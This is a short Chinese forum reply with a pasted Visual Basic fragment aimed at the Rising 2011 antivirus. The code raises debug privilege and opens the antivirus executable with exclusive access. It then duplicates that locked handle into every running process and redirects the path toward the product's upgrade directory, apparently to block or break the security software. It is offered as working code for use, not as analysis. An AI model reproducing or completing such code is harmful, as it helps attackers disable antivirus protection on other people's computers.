回复 13楼 不知道这是剑 的帖子
啊啊啊 我知道了 不是我的问题 这个暂不支持瑞星全功能2011.. 目录不一样!!!- lujing = GetProcessNameByProcessId(b)
- '
- mulu = Mid$(lujing, 1, Len(lujing) - (Len(lujing) - InStrRev(lujing, "")))
-
-
- Dim pFile As String, hsFile As Long, hProcess1 As Long, htFile As Long, lProcess() As Long, fProcess As Long
- RtlAdjustPrivilege 20, 1, 0, 0
- pFile = lujing
-
- hsFile = CreateFileA(pFile, &H80000000, 0, ByVal 0, 3, 0, 0)
- lProcess = GetProcesses()
- For fProcess = 0 To UBound(lProcess)
- hProcess1 = DhOpenProcess(lProcess(fProcess))
- If hProcess1 <> 0 Then
- NtDuplicateObject -1, hsFile, hProcess1, htFile, 0, 0, 4
- End If
- NtClose hProcess1
- Next
- '///////
- '///////
- shengji = Replace(mulu, "RAV", "RSD\XXXXXX")
复制代码 '全功能这里不是RAV
|